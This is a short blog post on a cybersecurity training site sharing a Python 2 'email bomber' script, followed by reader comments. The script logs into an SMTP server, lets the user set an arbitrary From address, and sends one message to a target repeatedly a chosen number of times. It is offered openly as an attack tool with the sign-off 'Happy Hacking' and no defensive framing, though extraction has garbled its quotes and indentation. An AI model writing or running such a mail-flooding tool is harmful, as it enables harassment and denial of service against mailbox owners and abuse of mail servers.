Email Bomber Script Using Python

November 9, 2016 | Views: 15003

Begin Learning Cyber Security for FREE Now!

FREE REGISTRATIONAlready a Member Login Here

I’d like to share this python script email bomber with you!

 

import smtplib #for SMTP Protocol
import mimetypes #converts URL
import sys #for System
import time #time
from email.MIMEText import MIMEText
class SMTP(object):
def title(self):
print ” PYTHON MAIL BOMBER IS WORKING πŸ™‚ “

Then:

def SMTPconnect(self):
print “We are in the SMTPconnect” #list of SMTP server – http://www.e-eeasy.com/SMTPServerList.aspx
self.smtpserver=raw_input(“nEnter SMTP server: “)
self.smtpport=input(“Enter SMTP port (Usualy 25 or 465): “)
try:
self.mailServer = smtplib.SMTP(self.smtpserver,self.smtpport)
except IOError, e:
print ‘Error: %s’ %(e)
time.sleep(5)
sys.exit(1)
self.mailServer.starttls()
self.username=raw_input(“nEnter Username: “) #Username
self.password=raw_input(“Enter Password: “) #password
try:
self.mailServer.login(self.username,self.password)
except BaseException, e:
print ‘Error: %s’ % (e)
time.sleep(3)
sys.exit(1)
def buildemail(self):
print ” We are inside Buildemail ”
print “tBuilding message part”
self.From = raw_input(“nFrom: “) # From
self.To = raw_input(“nTo: “) # TO
self.Subject = raw_input(“nSubject: “) #Subject
self.Message = raw_input(“nMessage: “) #message
mensaje = MIMEText(self.Message)
mensaje[‘From’]=self.From
mensaje[‘To’]=self.To
mensaje[‘Subject’]=self.Subject
self.ammount = input(“How Many times would you like to send email: “)
x = 0
while x < self.ammount:
self.mailServer.sendmail(self.From, self.To, mensaje.as_string())
x+=1
print “Send %d messages to %s” %(self.ammount,self.To)
time.sleep(7)
print “Thnx for using Mycode!nhttp://facebook.com/webmaster.pgn”
print ” Subscribe πŸ™‚ www.youtube.com/priyankgada ”
if __name__ == ‘__main__’:
s = SMTP()
s.title()
s.SMTPconnect()
s.buildemail()

End πŸ™‚ Happy Hacking
`

Share with Friends
FacebookTwitterLinkedInEmail
Use Cybytes and
Tip the Author!
Join
Share with Friends
FacebookTwitterLinkedInEmail
Ready to share your knowledge and expertise?
14 Comments
  1. what does it do?

  2. how do i use this please?

  3. Nice one thank you so much for your script 1+ πŸ˜€

  4. well its a good howto but cant say using this u can bombard any1 πŸ™‚ but at least it a good example for ppl learning how to code

Page 2 of 2«12
Comment on This

You must be logged in to post a comment.

Our Revolution

We believe Cyber Security training should be free, for everyone, FOREVER. Everyone, everywhere, deserves the OPPORTUNITY to learn, begin and grow a career in this fascinating field. Therefore, Cybrary is a free community where people, companies and training come together to give everyone the ability to collaborate in an open source way that is revolutionizing the cyber security educational experience.

Support Cybrary

Donate Here to Get This Month's Donor Badge

Β 

Cybrary|0P3N

Is Linux Worth Learning in 2020?
Views: 297 / December 14, 2019
How do I Get MTA Certified?
Views: 894 / December 12, 2019
How much does your PAM software really cost?
Views: 1345 / December 10, 2019
How Do I Get into Android Development?
Views: 1724 / December 8, 2019

We recommend always using caution when following any link

Are you sure you want to continue?

Continue
Cancel